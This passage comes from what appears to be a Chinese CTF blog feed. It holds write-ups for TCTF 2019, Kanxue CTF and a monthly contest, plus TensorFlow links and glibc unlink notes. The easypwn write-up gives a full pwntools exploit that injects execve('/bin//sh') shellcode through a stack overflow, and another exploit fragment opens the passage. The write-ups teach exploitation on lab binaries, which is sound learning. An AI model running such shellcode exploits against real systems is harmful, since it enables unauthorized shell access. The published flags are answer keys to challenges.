class="number">-0x5f6bb</span></span><br><span class="line">log.success(<span class="string">"libc_addr="</span>+hex(libc_addr))</span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">'Please set the length of password:'</span>,str(<span class="number">-5</span>))</span><br><span class="line"><span class="comment"># payload = p32(libc_addr+0x5f065)*(0x10+1)+'\x00'</span></span><br><span class="line">payload = p32(libc_addr+<span class="number">0x5f065</span>)*<span class="number">17</span>+<span class="string">'\x00'</span></span><br><span class="line"><span class="keyword">print</span> len(payload)</span><br><span class="line">p.sendafter(<span class="string">'):'</span>,payload)</span><br><span class="line">p.recv()</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]></content>
</entry>
<entry>
<title>TCTF 2019 Qualifier</title>
<link href="/2019/03/23/TCTF-2019-Qualifier/"/>
<url>/2019/03/23/TCTF-2019-Qualifier/</url>
<content type="html"><![CDATA[<h2 id="Elements"><a href="#Elements" class="headerlink" title="Elements"></a>Elements</h2><p>IDA F5以后很容易定位到程序的验证逻辑</p><p>通过阅读反编译代码可以知道, 输入的flag格式是<code>flag{[0-9a-f]{12}-[0-9a-f]{12}-[0-9a-f]{12}}</code></p><p>第一段是直接判断的<code>0x391BC2164F0ALL</code> 即<code>flag{391bc2164f0a-[0-9a-f]{12}-[0-9a-f]{12}}</code></p><p>之后可以看到对几个变量的逻辑判断</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ( v24 <= v23 || v25 <= v24 || v23 + v24 <= v25 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">v19 = v24 * v24 + v23 * v23 - v25 * v25;</span><br><span class="line">v20 = <span class="built_in">sqrt</span>(<span class="number">4.0</span> * v23 * v23 * v24 * v24 - v19 * v19) * <span class="number">0.25</span>;</span><br><span class="line">v21 = (v20 + v20) / (v23 + v24 + v25) + <span class="number">-1.940035480806554e13</span>;</span><br><span class="line"><span class="keyword">if</span> ( v21 < <span class="number">0.00001</span> && v21 > <span class="number">-0.00001</span> )</span><br><span class="line">{</span><br><span class="line">v22 = v23 * v24 * v25 / (v20 * <span class="number">4.0</span>) + <span class="number">-4.777053952827391e13</span>;</span><br><span class="line"><span class="keyword">if</span> ( v22 < <span class="number">0.00001</span> && v22 > <span class="number">-0.00001</span> )</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Congratz, input is your flag"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>令v24=a, b23=b, v25=c, v20=s 整理出以下逻辑:</p><p>s = $\frac{1}{4}$$\sqrt {4 <em> a^2 </em> b^2 - (a^2 + b^2 - c^2)^2}$</p><p>然后要满足两个条件</p><ul><li>${\frac{2 * s}{a + b + c}}\approx1.940035480806554e13$</li><li>${\frac{a <em> b </em> c}{4 * s}}\approx4.777053952827391e13$</li></ul><p>已知<code>a = 0x391BC2164F0A</code></p><p>需要求得b和c</p><p>如果数学基础好的话可以看出来两个条件分别是三角形的内切圆和外接圆的半径公式,分别设为r和R</p><ul><li>由${\frac{a}{sin A}} = 2 * R$得$sin A = {\frac{a}{2R}}$</li><li>$cos A = {\frac{b^2 + c^2 - a^2}{2 <em> b </em> c}} = \sqrt{1-sin^2A}$</li><li>$b+c=a+b+c-a=a+4<em>R</em>r<em>(1+cosA)</em>{\frac{1}{a}}$</li><li>$bc=2<em>R</em>r*\frac{(a+b+c)}{a}$</li><li>$c-b=\sqrt{(b + c)^2 - 4 * bc}$</li><li>$c = \frac{(b+c)+(c-b)}{2}$</li><li>$b = \frac{(b+c)-(c-b)}{2}$</li></ul><p>由于在ida中的r和R会有一些精度丢失, 所以我在GDB中查看了这两个值:</p><pre><code>gdb-peda$ p/f 0xc2b1a4ff41c1018b$1 = -19400354808065.543gdb-peda$ p/f 0xc2c5b939050828f4$2 = -47770539528273.906</code></pre><p>计算jio本:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> sqrt</span><br><span class="line">a = <span class="number">62791383142154.0</span></span><br><span class="line">r = <span class="number">19400354808065.543</span></span><br><span class="line">R = <span class="number">47770539528273.906</span></span><br><span class="line">sinA = a / (<span class="number">2.0</span> * R)</span><br><span class="line">cosA = sqrt(<span class="number">1.0</span> - sinA**<span class="number">2.0</span>)</span><br><span class="line">b_add_c = a + <span class="number">4.0</span> * R * r * (<span class="number">1.0</span> + cosA) * (<span class="number">1.0</span> / a)</span><br><span class="line">bc = <span class="number">2.0</span> * R * r * (a + b_add_c) * (<span class="number">1.0</span> / a)</span><br><span class="line">c_red_b = sqrt(b_add_c * b_add_c - <span class="number">4.0</span> * bc)</span><br><span class="line">c = (b_add_c + c_red_b) / <span class="number">2.0</span></span><br><span class="line">b = (b_add_c - c_red_b) / <span class="number">2.0</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">'flag{'</span> + str(hex(int(a)))[<span class="number">2</span>:] + <span class="string">'-'</span> + str(hex(int(b)))[<span class="number">2</span>:] + <span class="string">'-'</span> + str(hex(int(c)))[<span class="number">2</span>:] + <span class="string">'}'</span>)</span><br></pre></td></tr></table></figure><p><code>flag{391bc2164f0a-4064e4798769-56e0de138175}</code></p><p>测试后发现不太对, 猜测是精度丢失问题, 在gdb中调试到两个字符串比较的位置看一下</p><p>测试b的比较:</p><pre><code>gdb-peda$ b *0x400AE1gdb-peda$ b *0x400AEB</code></pre><p>测试c的比较:</p><pre><code>gdb-peda$ b *0x400B0Dgdb-peda$ b *0x400B17</code></pre><p>结果在0x400AE1发生了跳转, 即我们的输入计算出来的</p><p>$r - 19400354808065.543 >= 0.00001$</p><p>程序要求</p><p>$r-19400354808065.543 < 0.00001$</p><p>而$r = {\frac{2 * s}{a + b + c}}$, 即我们的b和c越大, 则r越小</p><p>尝试将b和c分别增加1</p><pre><code>➜ ~ ./Elementsflag{391bc2164f0a-4064e4798770-56e0de138175}➜ ~ ./Elementsflag{391bc2164f0a-4064e4798769-56e0de138176}Congratz, input is your flag</code></pre><p>最终flag: <code>flag{391bc2164f0a-4064e4798769-56e0de138176}</code></p>]]></content>
</entry>
<entry>
<title>TensorFlow 深度学习 笔记</title>
<link href="/2019/03/18/TensorFlow-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0-%E7%AC%94%E8%AE%B0/"/>
<url>/2019/03/18/TensorFlow-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0-%E7%AC%94%E8%AE%B0/</url>
<content type="html"><![CDATA[<p>安装: <a href="https://blog.csdn.net/Eppley/article/details/79297503">https://blog.csdn.net/Eppley/article/details/79297503</a><br>基本操作: <a href="https://www.cnblogs.com/tensorflownews/p/8671397.html">https://www.cnblogs.com/tensorflownews/p/8671397.html</a><br>GPU: <a href="https://blog.csdn.net/weixin_39290638/article/details/80045236">https://blog.csdn.net/weixin_39290638/article/details/80045236</a><br>bnn: <a href="https://blog.csdn.net/u012101561/article/details/80054963">https://blog.csdn.net/u012101561/article/details/80054963</a><br> <a href="https://blog.csdn.net/fsFengQingYangheihei/article/details/62232279">https://blog.csdn.net/fsFengQingYangheihei/article/details/62232279</a><br> <a href="https://blog.csdn.net/stdcoutzyx/article/details/50926174">https://blog.csdn.net/stdcoutzyx/article/details/50926174</a><br> <a href="https://blog.csdn.net/Lily_9/article/details/81409249">https://blog.csdn.net/Lily_9/article/details/81409249</a><br> <a href="https://blog.csdn.net/brandon2015/article/details/70821435">https://blog.csdn.net/brandon2015/article/details/70821435</a><br> <a href="https://blog.csdn.net/xiangpijiao/article/details/79979943">https://blog.csdn.net/xiangpijiao/article/details/79979943</a><br> <a href="https://blog.csdn.net/qq_34886403/article/details/83096826">https://blog.csdn.net/qq_34886403/article/details/83096826</a><br> <a href="https://blog.csdn.net/elaine_bao/article/details/50950969">https://blog.csdn.net/elaine_bao/article/details/50950969</a><br>TensorFlow学习: <a href="https://blog.csdn.net/tan_handsome/article/details/79303269">https://blog.csdn.net/tan_handsome/article/details/79303269</a><br> <a href="https://blog.csdn.net/qq_31192383/article/details/77429409">https://blog.csdn.net/qq_31192383/article/details/77429409</a><br> <a href="https://www.cnblogs.com/tensorflownews/p/8671397.html">https://www.cnblogs.com/tensorflownews/p/8671397.html</a><br> <a href="https://blog.csdn.net/qq_31192383/article/details/77198870">https://blog.csdn.net/qq_31192383/article/details/77198870</a><br> <a href="http://wiki.jikexueyuan.com/project/tensorflow-zh/tutorials/mnist_beginners.html">http://wiki.jikexueyuan.com/project/tensorflow-zh/tutorials/mnist_beginners.html</a><br> <a href="https://blog.csdn.net/qq_34806485/article/details/81910114">https://blog.csdn.net/qq_34806485/article/details/81910114</a></p><p>ABCNet: <a href="https://blog.csdn.net/nature553863/article/details/80653521">https://blog.csdn.net/nature553863/article/details/80653521</a></p><p>BWN-XNOR-caffee: <a href="https://github.com/loswensiana/BWN-XNOR-caffe">https://github.com/loswensiana/BWN-XNOR-caffe</a><br>Bi-Real-Net: <a href="https://github.com/liuzechun/Bi-Real-net">https://github.com/liuzechun/Bi-Real-net</a><br> <a href="https://blog.csdn.net/nature553863/article/details/82497777">https://blog.csdn.net/nature553863/article/details/82497777</a><br>caffee: <a href="http://caffe.berkeleyvision.org/">http://caffe.berkeleyvision.org/</a><br> <a href="https://www.cnblogs.com/k7k8k91/p/7629919.html">https://www.cnblogs.com/k7k8k91/p/7629919.html</a><br> <a href="https://github.com/BVLC/caffe/tree/windows">https://github.com/BVLC/caffe/tree/windows</a><br> <a href="http://caffe.berkeleyvision.org/installation.html">http://caffe.berkeleyvision.org/installation.html</a><br> <a href="https://www.cnblogs.com/king-lps/p/6553378.html">https://www.cnblogs.com/king-lps/p/6553378.html</a><br> <a href="https://www.cnblogs.com/k7k8k91/p/7629919.html">https://www.cnblogs.com/k7k8k91/p/7629919.html</a></p>]]></content>
</entry>
<entry>
<title>2019年3月总结</title>
<link href="/2019/03/18/2019%E5%B9%B43%E6%9C%88%E6%80%BB%E7%BB%93/"/>
<url>/2019/03/18/2019%E5%B9%B43%E6%9C%88%E6%80%BB%E7%BB%93/</url>
<content type="html"><![CDATA[<ol><li>研究二进制神经网络的论文并复现实验代码</li><li>参加了看雪CTF</li><li>研究了堆的一部分原理(bins, unlink)和glibc源码, 学习了部分堆利用方法</li><li>三月月赛做了pwn和re</li></ol>]]></content>
</entry>
<entry>
<title>看雪Ctf 2019</title>
<link href="/2019/03/12/%E7%9C%8B%E9%9B%AActf-2019/"/>
<url>/2019/03/12/%E7%9C%8B%E9%9B%AActf-2019/</url>
<content type="html"><![CDATA[<h2 id="神秘来信"><a href="#神秘来信" class="headerlink" title="神秘来信"></a>神秘来信</h2><p>IDA反编译, 然后看算法, 输入6个字符, 第4, 5, 6位分别为3, 5, 3</p><p>前三位加起来等于149</p><p>然后一个循环</p><p> v3 = input[0] + 16 <em> 0 - 48<br> v3 = input[1] + 16 </em> v3 - 48<br> …<br> v3 = input[5] + 16 * v3 - 48</p><p>动态调试以后发现会把输入的6个字符变成一组hex, 然后看到地址0x401353处有点可疑, 尝试输入, 就成功了…有点迷, 挖个坑有时间研究一下</p><h2 id="失落的岛屿"><a href="#失落的岛屿" class="headerlink" title="失落的岛屿"></a>失落的岛屿</h2><p><img src="/images/看雪ctf-2019/2019-06-12-12-29-38.png" alt=""></p><p>看了下逻辑大概是输入0x30字节, 然后base64, 然后一波变换</p><p>base64的字符表也是非常规的:</p><p> tuvwxTUlmnopqrs7YZabcdefghij8yz0123456VWXkABCDEFGHIJKLMNOPQRS9+/</p><p>那么就是写出来前面的变换算法的逆算法, 然后用这个字符表解base64</p><p><img src="/images/看雪ctf-2019/2019-06-12-12-44-28.png" alt=""></p><p>逆算法:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line">m = <span class="string">'!NGV%,$h1f4S3%2P(hkQ94=='</span></span><br><span class="line">c = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> m:</span><br><span class="line"> temp = ord(i)</span><br><span class="line"> <span class="keyword">if</span> temp == <span class="number">119</span>:</span><br><span class="line"> c += chr(<span class="number">43</span>)</span><br><span class="line"> <span class="keyword">elif</span> temp == <span class="number">121</span>:</span><br><span class="line"> c += chr(<span class="number">47</span>)</span><br><span class="line"> <span class="keyword">elif</span> temp > <span class="number">47</span> + <span class="number">50</span> <span class="keyword">and</span> temp <= <span class="number">57</span> + <span class="number">50</span> :</span><br><span class="line"> c += chr(temp - <span class="number">50</span>)</span><br><span class="line"> <span class="keyword">elif</span> temp > <span class="number">96</span> - <span class="number">64</span> <span class="keyword">and</span> temp <= <span class="number">122</span> - <span class="number">64</span>:</span><br><span class="line"> c += chr(temp + <span class="number">64</span>)</span><br><span class="line"> <span class="keyword">elif</span> temp < <span class="number">155</span> - <span class="number">64</span> <span class="keyword">and</span> temp >= <span class="number">155</span> - <span class="number">90</span> :</span><br><span class="line"> c += chr(<span class="number">155</span> - temp)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> c += chr(temp)</span><br><span class="line"></span><br><span class="line">print(c)</span><br></pre></td></tr></table></figure><p>得到<code>aMTEeld6q4tHserKh69Jyt==</code></p><p>用工具<code>Converter.exe</code>指定编码表即可得到flag</p>]]></content>
</entry>
<entry>
<title>3月月赛</title>
<link href="/2019/03/11/3%E6%9C%88%E6%9C%88%E8%B5%9B/"/>
<url>/2019/03/11/3%E6%9C%88%E6%9C%88%E8%B5%9B/</url>
<content type="html"><![CDATA[<h2 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h2><h3 id="easypwn"><a href="#easypwn" class="headerlink" title="easypwn"></a>easypwn</h3><p>Download: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/pwn%20(2">pwn</a>)</p><p>ida打开程序以后可以看见一个很明显的栈溢出</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> buf; <span class="comment">// [rsp+0h] [rbp-20h]</span></span><br><span class="line"> <span class="keyword">int</span> v5; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line"> setvbuf(_bss_start, <span class="number">0L</span>L, <span class="number">2</span>, <span class="number">0L</span>L);</span><br><span class="line"> setvbuf(<span class="built_in">stdin</span>, <span class="number">0L</span>L, <span class="number">2</span>, <span class="number">0L</span>L);</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Please Select:"</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"1.Listen something."</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"2.Speak something to me."</span>);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"3.ESC"</span>);</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &v5);</span><br><span class="line"> <span class="keyword">if</span> ( v5 != <span class="number">1</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%ld\n"</span>, &buf);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( v5 == <span class="number">2</span> )</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>, &buf, <span class="number">0x40</span>uLL);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Bye~~"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输入2的时候读取了0x40 byte数据但是只有0x20的空间, 可以劫持到EIP</p><p>看一下保护</p><pre><code>➜ Desktop checksec pwn[*] '/home/a/Desktop/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments</code></pre><p>开了PIE, 但是没有开NX, 可以把shellcode写到栈上跳转上去执行</p><p>但是开了pie, 栈地址是随机化的, 我们可以用选项1来leak栈地址</p><p>在gdb里看一下printf的地址</p><pre><code>pwndbg> 140737488346288</code></pre><p>即 0x7fffffffdcb0</p><p>看一下输入数据的地址</p><pre><code>00:0000│ rsi rsp 0x7fffffffdcb0 ◂— '23333333\nPUUUU'01:0008│ 0x7fffffffdcb8 —▸ 0x55555555500a (_init+10) ◂— add byte ptr [rax - 0x7b], cl02:0010│ 0x7fffffffdcc0 —▸ 0x7fffffffddb0 ◂— 0x103:0018│ 0x7fffffffdcc8 ◂— 0x20000000004:0020│ rbp 0x7fffffffdcd0 —▸ 0x555555555320 (__libc_csu_init) ◂— push r1505:0028│ 0x7fffffffdcd8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax06:0030│ 0x7fffffffdce0 ◂— 0x107:0038│ 0x7fffffffdce8 —▸ 0x7fffffffddb8 —▸ 0x7fffffffe17e ◂— 0x2f612f656d6f682f ('/home/a/')</code></pre><p>可以看到输入的数据的地址正好是之前输出的栈地址</p><p>写入shellcode跳转到这个地址即可</p><p>在exploit-db找了个shellcode, 小于0x40就行</p><pre><code>shellcode = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'</code></pre><p>然后溢出到EIP执行shellcode</p><p>exp:<br><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = process(<span class="string">'./pwn'</span>)</span><br><span class="line">context(os=<span class="string">'linux'</span>, arch=<span class="string">'amd64'</span>, log_level=<span class="string">'debug'</span>)</span><br><span class="line">shellcode = <span class="string">'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'</span></span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'3.ESC\n'</span>, <span class="string">'1'</span>)</span><br><span class="line">stack_addr = int(r.recvuntil(<span class="string">'\n'</span>)[:<span class="number">-1</span>], <span class="number">10</span>)</span><br><span class="line"><span class="keyword">print</span> (<span class="string">'[*] stack addr = '</span> + str(stack_addr))</span><br><span class="line">r.sendlineafter(<span class="string">'3.ESC\n'</span>, <span class="string">'2'</span>)</span><br><span class="line">r.sendline(shellcode + <span class="string">'a'</span> * (<span class="number">0x28</span> - len(shellcode)) + p64(stack_addr))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure></p><h3 id="Journey2urBF"><a href="#Journey2urBF" class="headerlink" title="Journey2urBF"></a>Journey2urBF</h3><p>Download: <a href="https://github.com/Inv0k3r/pwnable_files/blob/master/Journey2urBF%20(1">Journey2urBF</a>.bz2)</p><p>直接cat文件</p><pre><code>00000000: 1s8o 0808 s474 7s5p 0003 666p 6167 0085 .....g.\..synt..00000010: 91oo 1180 300p 437o 56q1 2513 s8op 08p7 ....0.P{I.%.....00000020: sr6o 6011 p740 or2r 12r9 49o8 0840 9953 .x`[email protected][email protected]: 1550 2n2q p0ns 8ss8 p9p6 7476 0086 6802 .C*-......gi..u.00000040: n778 112p n34q 0848 33r9 529o p4p9 3rr1 .k.,.Z.U3.E...>.00000050: 2q35 2846 78p4 s511 3sq9 98pr 0rp0 104q -5(Sk...?......Z00000060: r014 2s82 65o4 09o7 o115 qr47 no23 001s ../.r......T.#..00000070: q04r n174 p81r 98s0 5553 38qo nsn5 24ps .A.g....HF8...$.00000080: 22s8 p670 5pr3 7sn6 7r5r 53r6 n996 72q4 "..c\...~^F...e.00000090: 9rqr 7103 spp1 114p rs02 0000 ..d....Y....Congratulations! You have found the flag! But it seems that it's broken.All lowercase (a-z) and uppercase (A-Z) letters have beenrotated by 13 positions,can you repair it? Hint:The flag was expressed in an ugly programming language,try to solve it.</code></pre><p>根据提示猜测是rot 13, 找个在线解密</p><pre><code>00000000: 1f8b 0808 f474 7f5c 0003 666c 6167 0085 .....t.\..flag..00000010: 91bb 1180 300c 437b 56d1 2513 f8bc 08c7 ....0.C{V.%.....00000020: fe6b 6011 c740 be2e 12e9 49b8 0840 9953 .k`[email protected][email protected]: 1550 2a2d c0af 8ff8 c9c6 7476 0086 6802 .P*-......tv..h.00000040: a778 112c a34d 0848 33e9 529b c4c9 3ee1 .x.,.M.H3.R...>.00000050: 2d35 2846 78c4 f511 3fd9 98ce 0ec0 104d -5(Fx...?......M00000060: e014 2f82 65b4 09b7 b115 de47 ab23 001f ../.e......G.#..00000070: d04e a174 c81e 98f0 5553 38db afa5 24cf .N.t....US8...$.00000080: 22f8 c670 5ce3 7fa6 7e5e 53e6 a996 72d4 "..p\...~^S...r.00000090: 9ede 7103 fcc1 114c ef02 0000 ..q....L....</code></pre><p>看到了flag文件, 文件头1f8b 0808搜了一下是压缩文件, 在010editor中把上面的数据copy进去另存为压缩文件打开</p><p><img src="/images/3月月赛/1.png" alt=""></p><p>brainfuck解两次即可拿到flag</p><h3 id="dice"><a href="#dice" class="headerlink" title="dice"></a>dice</h3><p>Download: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/RE_dice.exe">RE_dict.exe</a></p><p>运行程序后, 发现是输入6个数字的key, 如果key正确就输出flag</p><p>ida反编译康康</p><p><img src="/images/3月月赛/1.jpg" alt=""></p><p>六个数字都是分开判断的, 那么我们完全可以用ida的调试进行爆破…</p><p><img src="/images/3月月赛/2.jpg" alt=""></p><p>在判断这里下断点然后从1到6分别输入每一位进行判断即可, 如果正确则会继续往下走 否则跳转到输出wrong</p><p>最后key : 43251</p><h3 id="simple-unpack"><a href="#simple-unpack" class="headerlink" title="simple unpack"></a>simple unpack</h3><p>用detect it easy查壳</p><p>发现是mpress2.19的壳</p><p>找了一圈没找到脱壳工具…尝试手脱</p><p>od打开exe文件</p><p>照着加密与解密的方法, 一路找到程序入口点</p><p>具体来说就是调试外壳程序, 单步调试到一个类似</p><p> push 40130<br> retn</p><p>的位置, 即大段的jump操作, 跳转到一个距离当前位置很远的代码</p><p>然后这里的代码可能是</p><p> 0401130 55 db 55 ; CHAR ‘U’<br> 0401131 8b db 8b<br> 0401132 ec db ec<br> 0401133 6a db 6a ; CHAR ‘j’</p><p>这样的形式</p><p>按下Ctrl + A强迫OD重新分析代码, 即可得到去壳后的程序</p><p><img src="/images/3月月赛/2.png" alt=""></p><p>然后把去壳后的程序dump出来</p><p>在入口点那里右键, 用od脱壳调试进程, 保存即可</p><p>用ida打开以后就可以看到脱壳后的代码了</p><p>程序逻辑是 对输入的数据进行了一波操作, 然后跟一组数据比对</p><p>第一个操作函数, 根据我多(bu)年(cun)逆(zai)向(de)的经验来看是base64算法</p><p><img src="/images/3月月赛/3.jpg" alt=""></p><p>2333, 实际上是根据代码里的几个等于号猜测是base64算法</p><p>那么我们测试一下输入test12345, 找个在线加密的网站 结果是dGVzdDEyMzQ1</p><p>看一下返回的result</p><p><img src="/images/3月月赛/4.jpg" alt=""></p><p>确定是base64</p><p>接下来两个函数对base64的结果操作了一波</p><p>函数1:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">sub_401160</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *a1)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v1; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> v1 = <span class="number">0</span>i64;</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strlen</span>(a1) != <span class="number">0</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> a1[HIDWORD(v1)] = (a1[HIDWORD(v1)] + <span class="number">6</span>) ^ <span class="number">6</span>;</span><br><span class="line"> LODWORD(v1) = <span class="number">0</span>;</span><br><span class="line"> ++HIDWORD(v1);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( HIDWORD(v1) < <span class="built_in">strlen</span>(a1) );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> v1;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>即对每一位进行+6^6操作</p><p>测一下我们base64串的第一位和第二位操作以后的结果</p><pre><code>>>> print ord('d') + 6 ^ 6108>>> print chr(108)l>>> print ord('G') + 6 ^ 675>>> print chr(75)K</code></pre><p>和内存中的结果正好一致</p><p><img src="/images/3月月赛/5.jpg" alt=""></p><p>函数2:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">sub_4011A0</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *a1)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v1; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line"> v1 = <span class="number">0</span>i64;</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strlen</span>(a1) != <span class="number">0</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> a1[HIDWORD(v1)] ^= BYTE4(v1);</span><br><span class="line"> LODWORD(v1) = <span class="number">0</span>;</span><br><span class="line"> ++HIDWORD(v1);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( HIDWORD(v1) < <span class="built_in">strlen</span>(a1) );</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> v1;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>函数2是和自己下标求异或</p><p>测试一下前两位:</p><pre><code>>>> print chr(108 ^ 0)l>>> print chr(75 ^ 1)J</code></pre><p>看一下返回结果:</p><p><img src="/images/3月月赛/6.jpg" alt=""></p><p>bingo</p><p>最后一个比对函数, 往内存中输入32位数据, 然后对之前操作完的输入进行比对</p><p>那么程序最终逻辑就是, 输入的key经过base64后, 先逐字符加6异或6, 然后逐字符异或下标, 得到的32位进行比对</p><p>逆向算法即, 对比对的32位逐字符异或下标, 然后异或6后减6, base64解码即可</p><p>32位数据位\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23</p><p>jio本:<br><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmp = <span class="string">'\x61\x4B\x58\x6B\x6A\x72\x6E\x36\x51\x52\x37\x61\x55\x3D\x44\x72\x48\x2E\x5C\x7B\x49\x93\x4C\x7D\x7E\x28\x4C\x73\x7A\x56\x43\x23'</span></span><br><span class="line">num = <span class="number">0</span></span><br><span class="line">decrypt = <span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> cmp:</span><br><span class="line"> decrypt += chr(((ord(i) ^ num) ^ <span class="number">6</span>) - <span class="number">6</span>)</span><br><span class="line"> num = num + <span class="number">1</span></span><br><span class="line"><span class="keyword">print</span> decrypt</span><br></pre></td></tr></table></figure><br>然后base64解密这个字符串即可~</p>]]></content>
</entry>
<entry>
<title>Unlink宏的实现机制</title>
<link href="/2019/03/06/unlink%E5%AE%8F%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%9C%BA%E5%88%B6/"/>
<url>/2019/03/06/unlink%E5%AE%8F%E7%9A%84%E5%AE%9E%E7%8E%B0%E6%9C%BA%E5%88%B6/</url>
<content type="html"><![CDATA[<p>unlink() 是一个宏,用于将某一个空闲 chunk 从其所处的 bin 中脱链。</p><p>在 malloc_consolidate() 函数中将 fastbin 中的空闲 chunk 整理到 unsorted_bin,在 malloc() 函数中用于将 unsorted_bin 中的空闲 chunk 整理到 smallbin 或者 largebin,以及在 malloc() 中获得堆空间时,均有可能调用 unlink() 宏。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Take a chunk off a bin list */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> unlink(AV, P, BK, FD) {</span></span><br><span class="line"> FD = P->fd;</span><br><span class="line"> BK = P->bk;</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (FD->bk != P || BK->fd != P, <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (check_action, <span class="string">"corrupted double-linked list"</span>, P, AV);</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> FD->bk = BK;</span><br><span class="line"> BK->fd = FD;</span><br><span class="line"> <span class="keyword">if</span> (!in_smallbin_range (P-><span class="built_in">size</span>)</span><br><span class="line"> && __builtin_expect (P->fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>)) {</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (P->fd_nextsize->bk_nextsize != P, <span class="number">0</span>)</span><br><span class="line"> || __builtin_expect (P->bk_nextsize->fd_nextsize != P, <span class="number">0</span>))</span><br><span class="line"> malloc_printerr (check_action,</span><br><span class="line"> <span class="string">"corrupted double-linked list (not small)"</span>,</span><br><span class="line"> P, AV);</span><br><span class="line"> <span class="keyword">if</span> (FD->fd_nextsize == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="keyword">if</span> (P->fd_nextsize == P)</span><br><span class="line"> FD->fd_nextsize = FD->bk_nextsize = FD;</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> FD->fd_nextsize = P->fd_nextsize;</span><br><span class="line"> FD->bk_nextsize = P->bk_nextsize;</span><br><span class="line"> P->fd_nextsize->bk_nextsize = FD;</span><br><span class="line"> 